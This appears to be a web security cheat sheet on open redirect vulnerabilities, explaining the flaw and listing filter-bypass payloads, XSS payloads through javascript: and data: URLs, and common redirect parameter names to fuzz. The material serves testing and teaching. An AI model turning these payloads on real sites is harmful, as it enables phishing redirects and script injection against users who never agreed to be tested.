Open URL Redirection
Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.
Summary
- Open URL Redirection
- Summary
- Exploitation
- HTTP Redirection Status Code - 3xx
- Fuzzing
- Filter Bypass
- Common injection parameters
- References
Exploitation
Let’s say there’s a well known
website - https://famous-website.tld/. And let's assume that there's a link like :
https://famous-website.tld/signup?redirectUrl=https://famous-website.tld/account
After signing up you get redirected to your account, this redirection is specified by the redirectUrl
parameter in the URL.
What happens if we change the famous-website.tld/account
to evil-website.tld
?
https://famous-website.tld/signup?redirectUrl=https://evil-website.tld/account
By visiting this url, if we get redirected to evil-website.tld
after the sign-up, we have an Open Redirect vulnerability. This can be abused by an attacker to display a phishing page asking you to enter your credentials.
HTTP Redirection Status Code - 3xx
- 300 Multiple Choices
- 301 Moved Permanently
- 302 Found
- 303 See Other
- 304 Not Modified
- 305 Use Proxy
- 307 Temporary Redirect
- 308 Permanent Redirect
Fuzzing
Replace www.whitelisteddomain.tld from Open-Redirect-payloads.txt with a specific white listed domain in your test case
To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.
WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt
Filter Bypass
Using a whitelisted domain or keyword
www.whitelisted.com.evil.com redirect to evil.com
Using CRLF to bypass "javascript" blacklisted keyword
java%0d%0ascript%0d%0a:alert(0)
Using "//" & "////" to bypass "http" blacklisted keyword
//google.com
////google.com
Using "https:" to bypass "//" blacklisted keyword
https:google.com
Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //)
\/\/google.com/
/\/google.com/
Using "%E3%80%82" to bypass "." blacklisted character
/?redir=google。com
//google%E3%80%82com
Using null byte "%00" to bypass blacklist filter
//google%00.com
Using parameter pollution
?next=whitelisted.com&next=google.com
Using "@" character, browser will redirect to anything after the "@"
http://www.theirsite.com@yoursite.com/
Creating folder as their domain
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
Using "?" characted, browser will translate it to "/?"
http://www.yoursite.com?http://www.theirsite.com/
http://www.yoursite.com?folder/www.folder.com
Host/Split Unicode Normalization
https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com/X.b.com
XSS from Open URL - If it's in a JS variable
";alert(0);//
XSS from data:// wrapper
http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
XSS from javascript:// wrapper
http://www.example.com/redirect.php?url=javascript:prompt(1)
Common injection parameters
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
References
- filedescriptor
- You do not need to run 80 reconnaissance tools to get access to user accounts - @stefanocoding
- OWASP - Unvalidated Redirects and Forwards Cheat Sheet
- Cujanovic - Open-Redirect-Payloads
- Pentester Land - Open Redirect Cheat Sheet
- Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7
- Host/Split Exploitable Antipatterns in Unicode Normalization - BlackHat US 2019